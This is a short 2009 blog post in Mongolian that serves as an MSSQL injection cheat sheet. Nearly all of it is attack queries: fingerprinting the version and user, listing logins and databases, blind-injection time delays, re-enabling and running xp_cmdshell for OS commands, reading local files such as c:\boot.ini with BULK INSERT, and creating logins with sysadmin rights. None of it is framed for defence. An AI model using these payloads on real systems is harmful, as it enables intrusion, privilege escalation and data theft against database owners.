Monday, June 22, 2009

MSSQL Injection хүсэлтийн хүснэгт

MSSQL Injection хийхэд хэрэглэг дэх хүсэлтүүд

Хувиларийг хархад
SELECT @@version
одоо холбогдсон хэрэглэгчийг харах
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
Хэрэглэгчдийг жагсааж харах
SELECT name FROM master..syslogins
Идвэхтэй датабэс SELECT DB_NAME()
датабэс жагсаах SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N);
AND үйлд
SELECT 6 & 2 -- returns 2
SELECT 6 & 1 -- returns 0

ASCII Value->Char

SELECT char(0x41) -- returns A
Char -> ASCII ValueSELECT ascii('A') - returns 65
String залгах
SELECT 'A' + 'B' - returns AB

If нөхцөл шалгах

IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1

нөхцөл шалгахSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
хүсэлийг тодорхой хугацаанд хүлээлгэх
WAITFOR DELAY '0:0:5' -- 5 секунд зогсоох
Дос комманд ажиллуулах

EXEC xp_cmdshell 'net user'; --

MSSQL 2005 анх суухдаа xp_cmdshell-ийг идвэхгүй болгосон байдаг. идвэхтэй болгхийн тулд :

EXEC sp_configure 'show advanced options', 1; --
RECONFIGURE; -- priv
EXEC sp_configure 'xp_cmdshell', 1; --
RECONFIGURE; -- priv

Local файл хандалт
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
шинээр хэрэглэгч нэмэх
EXEC sp_addlogin 'user', 'pass'; --
хэрэглэгч устгах
EXEC sp_droplogin 'user'; --
системийн хэрэглэгч болгох EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv
үндсэн датабэс
northwind
model
msdb
pubs
tempdb

No comments: